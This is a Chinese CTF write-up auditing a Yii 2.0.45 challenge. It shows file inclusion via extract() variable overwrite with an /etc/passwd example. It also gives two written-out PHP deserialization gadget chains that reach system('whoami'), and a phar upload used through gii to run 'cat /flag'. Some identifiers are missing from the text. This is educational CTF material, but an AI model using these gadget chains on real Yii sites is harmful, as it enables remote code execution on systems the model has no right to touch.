概述
简单说下Yii 是一个高性能PHP的web 应用程序开发框架。通过一个简单的命令行工具 yiic 可以快速创建一个 web 应用程序的代码框架,开发者可以在生成的代码框架基础上添加业务逻辑,以快速完成应用程序的开发。小伙伴ctf比赛时,遇见了这个框架,把题型发来,既然是代码审计,这个附件应该就是源码,把这个下载下来,看看里面有啥吧。
接下来就聊聊这个框架存在的漏洞有哪些,稍稍做个总结。
文件包含
当小白看到文件上传的功能时,而且没有限制文件类型的逻辑,便想到了这个框架可能存在文件包含的漏洞,因为上传的路径是/tmp的路径,不在web目录下。如果想利用必须要通过文件包含、或者目录穿越的漏洞。从过源代码的分析,文件目录是这么定义的。
if(Yii::$app->request->isPost){$model->file=UploadedFile::getInstance($model,'file');if($model->file&&$model->validate()){$path='/tmp/'.$model->file->baseName.'.'.$model->file->extension;$model->file->saveAs($path);return$path;}else{returnjson_encode($model->errors);}}
当和不能通过改变请求包控制时,所以文件穿越不存在,只能文件包含了,随百度之。在源代码里有这么一段代码:
publicfunctionrenderPhpFile($_file_,$_params_=[]){$_obInitialLevel_=ob_get_level();ob_start();ob_implicit_flush(false);extract($_params_,EXTR_OVERWRITE);try{require$_file_;
是将数组解析成变量的一个函数,通过构建的变量值,来包含tmp下的文件,这是小白当时做题时的思路。构建方式是在控制器里有一个接受外界参数的变量,如下所示data
publicfunctionactionIndex(){$data=[['a'=>'b'],'_file_'=>'/etc/passwd','name'=>'14yn3'];return$this->render('index',$data);}
访问后的结果如下:
证明确实存在,小白按照代码的规则进行项目的整体查阅,只找到类似这种结构的代码段
$model->password='';return$this->render('login',['model'=>$model,]);
这种model的参数,构建不出来file变量名,而且这是一个对象的形式。后来想破坏对象的结构,构建数组,花费一个多小时无果,寻找另外个入口。至此证明yii存在变量覆盖,文件包含的漏洞。
gii 出场【phar反序列化】
当所有代码段都不满足构建条件的时候,便有了这个gii哥们的想法,它是一个自动给开发者构建模块、数据、控制器简单逻辑的工具,或者说脚手架,验证开启方式:全局搜索gii.
访问方式:r=gii,如下图所示:
然后构建我们自己的控制器,点击控制器生成下的start。在表单里随便填下控制器名称,点击预览,
生的的代码如下:
看到并没有把的第二个参数给传递过去,至此文件包含的思路彻底放弃。既然都聊到这了,那就索性看这个gii有什么漏洞,谷歌百度一下,
yii反序列化【是自己构建、不同于找已存在漏洞】
查一下现在系统的版本号:2.0.45 This is Yii 2.0.45.
链一
vendor/yiisoft/yii2/db/BatchQueryResult.phpphppublicfunction__destruct(){//makesurecursorisclosed$this->reset();}publicfunctionreset(){if($this->_dataReader!==null){$this->_dataReader->close();}$this->_dataReader=null;$this->_batch=null;$this->_value=null;$this->_key=null;$this->trigger(self::EVENT_RESET);}
所以这个$this->是可控的,那么close方法,这里就有两个思路,第一个是存在close方法,寻找利用点,第二个不存在,调用call方法的利用点,先看第二个的思路,找call方法,//faker/src/Faker/.php。
publicfunction__call($method,$attributes){return$this->format($method,$attributes);}publicfunctionformat($format,$arguments=[]){returncall_user_func_array($this->getFormatter($format),$arguments);}publicfunctiongetFormatter($format){if(isset($this->formatters[$format])){return$this->formatters[$format];}
这个类的$this->也是可控的。当调用close的方法,便调用了call方法,此时close的方法名,便作为call的第一个参数被传递进来,也就是是close。
此时构建【输出有特殊字符,需要在的控制台复制】
namespaceyii\db{classBatchQueryResult{private$_dataReader;publicfunction__construct($_dataReader){$this->_dataReader=$_dataReader;}}}namespaceFaker{classGenerator{protected$formatters=[];publicfunction__construct($formatters){$this->formatters=$formatters;}}}namespace{$a=newFaker\Generator(array('close'=>'phpinfo'));$b=newyii\db\BatchQueryResult($a);print(serialize($b));}
此时的在这个ctf给定的压缩代码里是不能执行的。因为这个版本大于2.0.37。到这里找一下为什么不能执行,查阅文档得知。这两个类都实现了的方法,
//BatchQueryResult.php【只要序列化这个类,就报错】publicfunction__wakeup(){thrownew\BadMethodCallException('Cannotunserialize'.__CLASS__);}//Generator.php【只要序列化这个类,formatters的内容就置空】publicfunction__wakeup(){$this->formatters=[];}
当注释掉这两个方法的时候,就可以实现返回值了。注意目前调用的函数没有传递参数,只能掉这类的函数,输出是字符串类型的。结果如下:
补充:正则匹配\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)。
链二
研究完了call的方法,现在看看close的方法。当全局搜索close方法的时候,找到\\yii2\web\.php。
publicfunctionclose(){if($this->getIsActive()){//preparewriteCallbackfieldsbeforesessioncloses$this->fields=$this->composeFields();YII_DEBUG?session_write_close():@session_write_close();}}/***@returnboolwhetherthesessionhasstarted*开启dug,在这个版本下,此函数验证为true,小于2.0.38不需要开启debug*/publicfunctiongetIsActive(){returnsession_status()===PHP_SESSION_ACTIVE;}protectedfunctioncomposeFields($id=null,$data=null){$fields=$this->writeCallback?call_user_func($this->writeCallback,$this):[];if($id!==null){$fields['id']=$id;}if($data!==null){$fields['data']=$data;}return$fields;}
方法如果$this->为字符串,就是方法名,如果是数组,就是类名和方法。所以为了解决给方法传递参数的缺陷,这里再去调用另一个类的方法,这个方法可以是可以传递参数进去的。使用链一的方法备注正则搜索。调用的文件代码如下:
//vendor/yiisoft/yii2/rest/CreateAction.phppublicfunctionrun(){if($this->checkAccess){call_user_func($this->checkAccess,$this->id);}//$this->checkAccess和$this->id都是我们可控的
构建
namespaceyii\db{classBatchQueryResult{private$_dataReader;publicfunction__construct($_dataReader){$this->_dataReader=$_dataReader;}}}namespaceFaker{classGenerator{protected$formatters=[];publicfunction__construct($formatters){$this->formatters=$formatters;}}}namespaceyii\rest{classCreateAction{public$checkAccess;public$id;publicfunction__construct($checkAccess,$id){$this->checkAccess=$checkAccess;$this->id=$id;}}}namespaceyii\web{classDbSession{public$writeCallback;publicfunction__construct($writeCallback){$this->writeCallback=$writeCallback;}}}namespace{//$a=newFaker\Generator(array('close'=>'phpinfo'));//$b=newyii\db\BatchQueryResult($a);//print(serialize($b));$c=newyii\rest\CreateAction('system','whoami');$b=newyii\web\DbSession(array($c,'run'));$a=newyii\db\BatchQueryResult($b);print(serialize($a));}
跳转gii
通过前台上传功能,上传
这个文件,然后返回上传路径:
gii控制器生成页抓取数据包
在后面增加cmd=('cat /flag'),因为在phar.jpg中有这个一个执行代码
即可拿到flag。
评论(0)